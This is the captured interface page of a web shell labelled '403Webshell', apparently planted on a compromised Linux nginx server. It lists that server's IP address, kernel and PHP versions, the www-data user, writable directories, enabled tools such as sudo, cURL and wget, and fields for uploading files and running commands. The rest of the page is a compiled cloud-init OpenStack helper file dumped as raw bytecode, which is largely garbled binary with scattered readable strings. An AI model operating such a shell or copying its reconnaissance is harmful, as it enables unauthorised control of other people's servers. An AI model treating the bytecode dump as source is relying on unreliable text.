403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/openstack.cpython-314.pyc
+
��i$n���^RIt^RIt^RIt^RIt^RIt^RIt^RIHtHtH	t	H
t
Ht^RIH
t
^RIHt]P !]4tRRRR3R	R
]P&/3RRR
R3/tR#tRtRtRtRtRtRtRtRtRt]]]]]]]]3tR$t !RR]!4t"!RR4t#!RR]PHR7t%!RR]%4t&!R R!]%4t'R%R"lt(R#)&�N)�net�sources�subp�
url_helper�util)�BrokenMetadata)�ec2zetc/network/interfaces�network_configc��V#�N���xs&�E/usr/lib/python3/dist-packages/cloudinit/sources/helpers/openstack.py�<lambda>rs��1��zmeta.js�meta_jszroot/.ssh/authorized_keys�authorized_keysc��V#rr
rs&rrrs��qr�latestz
2012-08-10z
2013-04-04z
2013-10-17z
2015-10-15z
2016-06-30z
2016-10-06z
2017-02-22z
2018-08-27c��]tRt^QtRtR#)�NonReadabler
N)�__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r
rrrrQs��rrc�>a�]tRt^UtoRtRtRtRtRtRt	Vt
R#)�SourceMixinc��VP'gR#VPPR/4pVP4Fwr4W8XgK
Vu#	R#)Nzblock-device-mapping)�ec2_metadata�get�items)�self�name�bdm�ent_name�devices&&   r�_ec2_name_to_device�SourceMixin._ec2_name_to_deviceVsM��� � � �����#�#�$:�B�?�� #�	�	���H����
�!,�rc��RpVP^8XdRp\P!VPP	V44#)�public_keys�public-keys)�versionr�normalize_pubkey_data�metadatar#)r%r&s& r�get_public_ssh_keys�SourceMixin.get_public_ssh_keys_s8�����<�<�1�� �D��,�,�T�]�]�->�->�t�-D�E�Erc���RpRV,pVR8Xd
RV,p\P!V4pV'd
V^,pV# \PdT#i;i)NzLABEL=%s�swapzTYPE=%s)r�find_devs_withr�ProcessExecutionError)r%r&r)�criteria�dev_entriess&&   r�_os_name_to_device�SourceMixin._os_name_to_deviceesi����	�!�T�*�H��v�~�$��-���-�-�h�7�K��$�Q����
���)�)�	���
�	�s�6A�	A�A�Ac�D�V'gR#VPR4'g
RV,p\PPV4'dV#VP	\PPV44pV'd\PRW4V#R#)N�/z/dev/%szRemapped device name %s => %s)�
startswith�os�path�exists�
_remap_device�basename�LOG�debug)r%r)�remappeds&& r�_validate_device_name�!SourceMixin._validate_device_namerst����� � ��%�%���'�F�
�7�7�>�>�&�!�!��M��%�%�b�g�g�&6�&6�v�&>�?����I�I�5�v�H��O�rc��V'gR#V.pVR8XdVP^R4VR8XdVPR4Rp\PRV4VF/pVP	V4pVPV4pV'gK/M	V'gL\PRV4VF/pVP
V4pVPV4pV'gK/M	V'gR#\PRW4V#)N�root�amiz(Using ec2 style lookup to find device %sz.Using openstack style lookup to find device %szMapped %s to device %s)�insert�appendrDrEr*rGr:)r%r&�namesr)�ns&&   r�device_name_to_device�!SourceMixin.device_name_to_device�s���������6�>��L�L��E�"��5�=��L�L�� ����	�	�<�e�D��A��-�-�a�0�F��/�/��7�F��v��	���I�I�F��N����0�0��3���3�3�F�;���6��	����I�I�.��=��Mrr
N)rrrrr*r2r:rGrPr�__classdictcell__��
__classdict__s@rr r Us$�����F����rr c��a�]tRt^�toRt]PR4t]PRRl4t]PR4t	]PR4t
RtRRltRt
R	tVtR
#)�
BaseReaderc��WnR#r��	base_path)r%rYs&&r�__init__�BaseReader.__init__�s��"�rc��R#rr
�r%�base�add_onss&&*r�
_path_join�BaseReader._path_join����rc��R#rr
�r%r@�decodes&&&r�
_path_read�BaseReader._path_read�rbrc��R#rr
�r%s&r�_fetch_available_versions�$BaseReader._fetch_available_versions�rbrc��R#rr
ris&r�_read_ec2_metadata�BaseReader._read_ec2_metadata�rbrc�T�VP4p\\
\44Uu.uFq3NK	pp\pVF
pWa9dKTpM	\PRVV4V# \d.p\PRTPT4.pRp?L�Rp?ii;iuupi)z4Unable to read openstack versions from %s due to: %sNzSelected version '%s' from %s)	rj�	ExceptionrDrErY�reversed�list�OS_VERSIONS�	OS_LATEST)r%�versions_available�e�v�	supported�selected_version�potential_versions&      r�_find_working_version� BaseReader._find_working_version�s���	$�!%�!?�!?�!A��!)��k�):� ;�<� ;�1�Q� ;�	�<�$��!*�� �:��0���	"+�	�	�	�+���	
�
 ���1�	$��I�I�F�����
�
"$���
	$��=s�A*�
B%�*B"�5#B�B"c�N�VPRR4PR4pVPR4pVUu.uFp\V4'gKVNK	ppV'g\	RV,4hVP
!VPR.VO5!pVPW2R7#uupi)�content_pathrr=z!Item %s has no valid content path�	openstack�re)r#�lstrip�split�lenrr`rYrf)r%�itemrer@�path_pieces�p�valid_piecess&&&    r�_read_content_path�BaseReader._read_content_path�s����x�x���+�2�2�3�7���j�j��o��#.�9�;�a�#�a�&���;��9�� �!D��!M�N�N����t�~�~�{�I�[�I�����t��3�3��	:s�B"�B"c�>aa�\P!\P\\
\3R7oVV3RlpRRR^/pV!SP44pVP4F�wpwrVpSPSPV4pRpRpSPV4pRpV'dV'g\RV,4hV'dV'd
V!V4pV'gK�W2V&K�	VR,p
RV
9d$V
R,p\$P&!V4V
R&/pV
P-R.4p
V
F)pRV9dKVR,pSP/V4W�&K+	W�R&V
P-RR4pV'dSP/VRR7pVVR&V
R,R,VR&SP34VR&\4FEwpppV'dVV
9d\#RV,4hVV
9gK1V
P-V4V
V&KG	V# \dFp	T'g\PR	YY4Rp	?	EL�\PR
YY4Rp	?	EL�Rp	?	ii;i \ dp	\#RT:R
T	:24T	hRp	?	ii;i \(\*3dp	\#RT	,4T	hRp	?	ii;i \ dp	\#RT:R
T	:24T	hRp	?	ii;i \dp	\#RT	,4T	hRp	?	ii;i \0dELei;i)z�Reads a version 2 formatted location.

Return a dict with metadata, userdata, ec2-metadata, dsmode,
network_config, files and version (2).

If not a valid location, raise a NonReadable exception.
)�
root_typesc�$<�/pSPRVR4R\P3VR&SPRVR4RR3VR&SPRVR4RS3VR	&SPRVR
4RS3VR&SPRVR4RS3VR
&V#)rzmeta_data.jsonTr1�	user_dataFc��V#rr
rs&rr�7BaseReader.read_v2.<locals>.datafiles.<locals>.<lambda>�s��!r�userdatazvendor_data.json�
vendordatazvendor_data2.json�vendordata2znetwork_data.json�networkdata)r`r�	load_json)r/�files�load_json_anytyper%s& ��r�	datafiles�%BaseReader.read_v2.<locals>.datafiles�s�����E�����W�6F�G�����
!�E�*������W�k�B���!�E�*������W�6H�I��!�#�E�,������W�6I�J��!�$�E�-� �����W�6I�J��!�$�E�-� �
�Lrr�rr/NFTz*Failed reading optional path %s due to: %sz+Failed reading mandatory path %s due to: %szMissing mandatory path: %s�Failed to process path �: r1�random_seedz.Badly formatted metadata random_seed entry: %sr�r@zFailed to read provided file r
r�z(Failed to read network configuration: %s�meta�dsmodezec2-metadatazNo '%s' entry in metadata)�	functools�partialrr��dictrr�strr{r$r`rYrf�IOErrorrDrErrpr�base64�	b64decode�
ValueError�	TypeErrorr#r��KeyErrorrm�
KEY_COPIES)r%r��results�datar&r@�required�
translator�foundrvr1r�r��metadata_filesr��net_item�content�
target_key�
source_key�is_requiredr�sf                   @r�read_v2�BaseReader.read_v2�s%���&�-�-��N�N��d�C�'8�
��	�B
���q�
����3�3�5�6��26�*�*�,�.�D�.�4�:��?�?�4�>�>�4�8�D��D��E�
����t�,������!�">��"E�F�F����%�d�+�D�
�u� $��
�73?�:�:�&���H�$�"�=�1�K�
�*0�*:�*:�;�*G���'���!���g�r�2��"�D��T�!����<�D�
�"�5�5�d�;���#�!���
�<�<� 0�$�7���
��1�1�(�4�1�H��,3��(�)�	� (�� 0�� :�G�H��
#'�"9�"9�";����4>�/�J�
�K��z��9�$�%@�:�%M�N�N��X�%�'/�|�|�J�'?���$�	4>�
���_�
���I�I�D�d����I�I�E�t����

�� !��(�;?��C��������	�*�
�$�D�q�H�����
���
�$�=A�1�E�����
���
�$�>�!�D�����
���	��	�s��H�I-�J�K�
K'�#L
�I*�%I%�	I%�%I*�-J�8J�J�J=�%J8�8J=�K$�K�K$�'L
�2L�L
�
L�LrXN�F)rrrrrZ�abc�abstractmethodr`rfrjrmr{r�r�rrRrSs@rrVrV�s�����#�	���
��
�	���
��
�	���
��
�	���
��
� �:4�G�GrrV)�	metaclassc�Taa�]tRtRtoV3RltRtR	RltRtRtRt	Rt
VtV;t#)
�ConfigDriveReaderiec�<<�\\V`V4RVnR#r)�superr�rZ�	_versions)r%rY�	__class__s&&�rrZ�ConfigDriveReader.__init__fs���
���/�	�:���rc�d�V.\V4,p\PP!V!#r)rrr?r@�join)r%r^r_�
componentss&&* rr`�ConfigDriveReader._path_joinjs%���V�d�7�m�+�
��w�w�|�|�Z�(�(rc�j�V'd\P!V4#\P!V4#r)r�load_text_file�load_binary_filerds&&&rrf�ConfigDriveReader._path_readns1���
����%�	
��&�&�t�,�	
rc�j�VPf�VPVPR4p\P!V4Uu.uFIp\P
P
\P
PV44'gKGVNKK	pp\V4VnVP#uupi)Nr)	r�r`rYr?�listdirr@�isdirr��sorted)r%r@�dr�s&   rrj�+ConfigDriveReader._fetch_available_versionsus����>�>�!��?�?�4�>�>�;�?�D����D�)��)�A��7�7�=�=������d�!3�4���)�
��
$�E�]�D�N��~�~���
s
�AB0�B0c�&�VPVPRRR4p\PP	V4'g/#\
P!VPV44# \dp\RT:RT:24ThRp?ii;i)r	rzmeta-data.jsonr�r�N)
r`rYr?r@rArr�rfrpr)r%r@rvs&  rrm�$ConfigDriveReader._read_ec2_metadata�s}������N�N�E�8�-=�
���w�w�~�~�d�#�#��I�
��~�~�d�o�o�d�&;�<�<���
�$�7;�Q�?�����
�s�$A,�,B�7B�Bc��/p\P4FJpVPVPV4p\P
P
V4'gKFW1V&KL	V'g\RVP,4h/p\P4FNwpwrVpW!9d(W,pVPV4pT!T4YE&K6\P!V4WE&KP	VR,p
VR,pVPRV
4p
V
'dRV
P!4pVU
u.uF1p
\#V
4'gKV
P%R	4'dK/V
NK3	up
VR&R
V9d
VR
,VR
&R^RV/pR
V9d
VR
,VR
&VPRR4VR&/VR&V# \dp	\RT,4T	hRp	?	ii;i \dp	\RT:RT	:24T	hRp	?	ii;iuup
i)z�Reads a version 1 formatted location.

Return a dict with metadata, userdata, dsmode, files and version (1).

If not a valid path, raise a NonReadable exception.
z%s: no files foundzFailed to read: %sNr�r�rrr.�#�instance-idr/r1r�z	user-datarr�r�)�FILES_V1�keysr`rYr?r@rArr$rfr�rrp�copy�deepcopyr#�
splitlinesr�r>)r%r�r&r@�md�keyr��default�contentsrv�keydatar�lines�liner�s&              r�read_v1�ConfigDriveReader.read_v1�s�����M�M�O�D��?�?�4�>�>�4�8�D��w�w�~�~�d�#�#�"�d��$���2�d�n�n�E�F�F�
��08���0@�,�D�,�3�G��}��{��M�#���t�4�H��)��2�B�G��-�-��0���#1A�&�&�'���Y�-���+�+�m�W�5����&�&�(�E�"�!�!�D��t�9��%)�_�_�S�%9���!�!�B�}���G�#� '�
� 6�B�}��
�q���
���w�� '�� 1�G�H��&�k�k�+�r�:��
���������c�M�(�)=��)D�E�1�L��M��!��(�;?��C�������!sB�7F6�	
G�1H�	H�"H�6G�G�G�H�'G;�;H)r�r�)
rrrrrZr`rfrjrmr�rrR�
__classcell__�r�rTs@@rr�r�es*�����)�
�	��G�Grr�c�Raa�]tRtRtoRV3RlltRtR	RltRtRtRt	Vt
V;t#)
�MetadataReaderi�c�<�\\V`V4W n\	V4Vn\
V4VnRVnR#r)	r�r�rZ�ssl_details�float�timeout�int�retriesr�)r%�base_urlr�r�r�r�s&&&&&�rrZ�MetadataReader.__init__�s5���
�n�d�,�X�6�&���W�~����7�|�����rc�@�VPe
VP#.pVPVPR4pVPVRR7pVP	4F.pVP4pV'gKVP
V4K0	WnVP#)NrTr�)r�r`rYrfr��striprM)r%r��version_pathr�r�s&    rrj�(MetadataReader._fetch_available_versions�s����>�>�%��>�>�!������t�~�~�{�C���/�/�,�t�/�<���&�&�(�D��:�:�<�D����L�L���	)�
���~�~�rc���Rp\P!VVPVPVPVR7pV'dVP
P
4#VP
#)c��\VP4pVR8�d
VR9dR#R# \\3dR#i;i)i�FT)i�i�i�i�i�i�)r��coder�r�)�causer�s& r�should_retry_cb�2MetadataReader._path_read.<locals>.should_retry_cb�sG��
��5�:�:����3�;�4�/M�#M� ����z�*�
���
�s�#)�>�>)r�r�r��exception_cb)r�readurlr�r�r�r�re)r%r@rer��responses&&&  rrf�MetadataReader._path_read�s\��	��%�%���L�L��(�(��L�L�(�
����$�$�+�+�-�-��$�$�$rc�2�\P!V.VO5!#r)r�combine_urlr]s&&*rr`�MetadataReader._path_joins���%�%�d�5�W�5�5rc�p�\P!VPVPVPR7#))r�r�r�)r	�get_instance_metadatar�r�r�ris&rrm�!MetadataReader._read_ec2_metadata	s,���(�(��(�(��L�L��L�L�
�	
r)r�r�r�r�)N�rr�)rrrrrZrjrfr`rmrrRr�r�s@@rr�r��s#�����
�%�.6�
�
rr�c
�za&�VfR#R.R6OR.R7OR.R8O/o&VPR.4pVPR
.4pVPR.4p.p/pRp^p.p	VEF{p
.p\V&3RlV
P444pRV
9d
V
R,VR&Rp
V
PR4'd+V
PR4P4p
W�V
R,&RVPR4RV
RV
R,RV
R,/pVUu.uFq�R,V
R,8XgKVNK	upEF�p\V&3RlVP444pVPR.4Uu.uF&p\V&3RlVP444NK(	ppV'dVP	RV/4VR,R8XdVP	RR/4M�VR,R8XdVP	RR/4M�VR,R99dVP	RVR,/4MxVR,R:9d&VP	RRR	VPR4/4MEVR,R;9d8VP	R R!/4VP	RRR	VPR4/4VPR.4UUu.uF=pVPR.4F$pVPR4R"8XgKVR	,NK&	K?	pppVPR.4FCpVPR4R"8wdKVR	,V9dK+VPVR	,4KE	V'dVVR
&VR,R<9dVP	R R#/4VR,R8XdR#VR&VR,R8XdR#VR&VPV4EK�	VP	RV/4V
R,R=9d�/pV
'dVP	RV
/4V
P4FcwppVR%8XdKVP
R$4'gK(R&PVPR'^4R>,4pVP	VV/4Ke	VVR&VPR4fWx,pVVR&VVR&V^,
pVPVR(R)\P!V
R%,434M�V
R,R?9d�V
R*,:R+V
R,,:2pVP	RVR,V
R,,RV
R-,/4VPVR*R)V
R*,34VPVRR.V
R,,,V
R*,34VP	RV
R-,RV/4MDV
R,\9d\PR/V
R,4VP	RRRV
/4V	PV4W�VR,&EK~	V	Uu.uF&pVPR4R8XgKRV9gK$VNK(	ppV'g
V'EdrVf\P!4pVP4FJwppVPR4'dKVPR4V9gK7VVR,,VR&KL	VF�pVPR4p V 'g\!R0V,4hV V9dD\"P$!4\P!4pV V9d\!R1V,4hVV ,VR&K�	VFjwpp!p"p#\'V#\(\*34'd-V#U$u.uFp$V"VV$,R,,NK	up$VV!&KPV"VV#,R,,VV!&Kl	\P,!4p%V%'d2V	F+pVR,V%9gKV%VR,,VR&R2VR&K-	VF=p\P!V4pVP	RR3/4V	PV4K?	R4^R5V	/#uupiuupiuuppiuupiuup$i)@a�Return a dictionary of network_config by parsing provided
   OpenStack ConfigDrive NetworkData json format

OpenStack network_data.json provides a 3 element dictionary
  - "links" (links are network devices, physical or virtual)
  - "networks" (networks are ip network configurations for one or more
                links)
  -  services (non-ip services, like dns)

networks and links are combined via network items referencing specific
links via a 'link_id' which maps to a links 'id' field.

To convert this format to network_config yaml, we first iterate over the
links and then walk the network list to determine if any of the networks
utilize the current link; if so we generate a subnet entry for the device

We also need to map network_data.json fields to network_config fields. For
example, the network_data links 'id' field is equivalent to network_config
'name' field for devices.  We apply more of this mapping to the various
link types that we encounter.

There are additional fields that are populated in the network_data.json
from OpenStack that are not relevant to network_config yaml, so we
enumerate a dictionary of valid keys for network_yaml and apply filtering
to drop these superfluous keys from the network_config yaml.
N�physicalr&�type�mac_address�subnets�params�subnet�address�dns_nameservers�routes�links�networks�serviceszbond%dc3�N<"�TFwrVSR,9gKW3x�K	R#5i)rNr
��.0�krw�
valid_keyss&  �r�	<genexpr>�#convert_net_json.<locals>.<genexpr>Ts&����
�+�t�q�q�J�z�4J�/J�F�Q�F�|���%�%�ethernet_mac_address�id�mac�linkc3�N<"�TFwrVSR,9gKW3x�K	R#5i)r	Nr
rs&  �rrrks&�����#2�4�1�a�:�h�;O�6O����?�rc3�N<"�TFwrVSR,9gKW3x�K	R#5i)rNr
rs&  �rrrrs+����� -����J�x�0�0��Q�F� -�r�	ipv4_dhcp�dhcp4�	ipv6_dhcp�dhcp6�ipv4�static�
ip_address�ipv6�static6z	accept-raF�dnsT�bond�
bond_linkszbond-{}�bond_�bond_interfacesz%s�	vlan_link�.�vlan_id�vlan_mac_addressz%%s.%sz9Unknown network_data link type (%s); treating as physicalz#No mac_address or name entry for %sz"Unable to find a system nic for %s�
infiniband�
nameserverr/�config)r&rrrr�mtu)
rr
�netmask�	broadcast�metric�gateway�pointopoint�scoper�
dns_search)�network�destinationr4r7r6)�
ipv6_slaaczipv6_dhcpv6-stateless�ipv6_dhcpv6-stateful)r"r#)r%r&)r>r )r(���)�vlan)r#r�r$�lower�updaterMr>�formatr�r�r��KNOWN_PHYSICAL_TYPESrD�warningr�get_interfaces_by_macr�r�udevadm_settle�
isinstancerr�tuple�get_ib_hwaddrs_by_interface)'�network_json�
known_macsr
rr�link_updates�link_id_info�
bond_name_fmt�bond_numberr2rr�cfg�
link_mac_addr�curinforOr;r	�router�servicerrrrw�translated_key�	link_namer&r��
need_names�_link_id�inforr��fmt�targets�target�ib_known_hwaddrsrs'&&                                    @r�convert_net_jsonr_s����6���	�
�	�
�	�L�+�J�0
���W�b�)�E����
�B�/�H����
�B�/�H��L��L��M��K�
�F������
�#�z�z�|�
�
���T�>��v�,�C��K��
��8�8�*�+�+� �H�H�%;�<�B�B�D�M�'4��d��$�
�C�G�G�F�O��=��$�t�*��D��L�	
��$,�G�8�a��y�D��J�/F���8�G�G���#*�=�=�?���F�%�[�[��2�6�
�7�E��� %���
���
7�

����
�
�x��0�1��v��+�-��
�
�v�w�/�0����K�/��
�
�v�w�/�0����%��
�
�
�v�w�v��7�8����$6�6��
�
���!�7�;�;�|�#<������$7�7��
�
�K��/�0��
�
��	�!�7�;�;�|�#<���%�[�[��2�6��6�E�$�y�y��R�8�G��;�;�v�&�%�/�#��	�"�"�8�#�6�
��#�;�;�z�2�6���;�;�v�&�%�/���9�%��8���&�&�w�y�'9�:�7��,;��(�)��v��"G�G��
�
�K��.�/��v��&�(�!%��v���v��&�(�!%��v���N�N�6�"�QH�R	�
�
�I�w�'�(���<�8�#��F���
�
�M�=�9�:��
�
����1���$���\�\�&�)�)�&/�%5�%5�a�g�g�g�q�6I�"�6M�%N�N��M�M�>�1�"5�6�%�#�C��M�
�w�w�v��&�)�7�	�'��F��"+�����1��K�

����%���M�M�$�|�"4�5�	�
��&�\�X�
%�"�;�/�/��i��A�D��J�J��D��t�I��!�4�(:�#;��
�
����k�4��k�9J� K�L�����f�h��i��8�$�{�:K�L�
�
�N�N�E�4�(:�#;�V�T�J�K��F�|�#7�7���� ���L��

�J�J��
�M�=�I�J��
�
�c��&-�W�T�]�#�A�F���a�Q�U�U�6�]�j�8��V�1�_���6����\�\����2�2�4�J�+�0�0�2�N�H�d��x�x������x�x���*�,�)�$�u�+�6��V��	3��A��%�%�
�&�C�� �!F��!J�K�K��*�$��#�#�%� �6�6�8�
��j�(�$�%I�A�%M�N�N�"�3��A�f�I��'3�"�C��c�7��'�D�%�=�1�1�EL��EL�6�C�,�v�.�v�6�6�6�W���C����g�!6�v�!>�>��C��
'3��6�6�8����C��6�{�.�.�%5�c�&�k�%B��M�"�*��F���
���m�m�G�$���
�
�F�L�)�*��
�
�c���

�q�(�F�+�+��{H����R��t��:s6�`#�`#�!,`(�$-`-
�`-
�`3�9`3�`3� `8))zlocal-hostname�hostnameF)r��uuidT)
N�bgpovs�bridge�	cascading�dvs�ethernet�hw_veb�hyperv�ovs�phy�tap�	vhostuser�vif)NN))r�r�r�r��loggingr?�	cloudinitrrrrr�cloudinit.sourcesr�cloudinit.sources.helpersr	�	getLoggerrrDr�r�r�rt�	OS_FOLSOM�
OS_GRIZZLY�	OS_HAVANA�
OS_LIBERTY�
OS_NEWTON_ONE�
OS_NEWTON_TWO�OS_OCATA�OS_ROCKYrsrDr�rr �ABCMetarVr�r�r_r
rr�<module>r|s���
����	�:�:�,�)�����!���/��b�A�
�	�4�>�>�2�.��"3�[�"�!E�	���
�
�	��	�
�
��	�
�
��
��
�����
��
������	����"	�'�	�I�I�XA�3�;�;�A�Hp�
�p�f6
�Z�6
�tU,r

Youez - 2016 - github.com/yon3zu
LinuXploit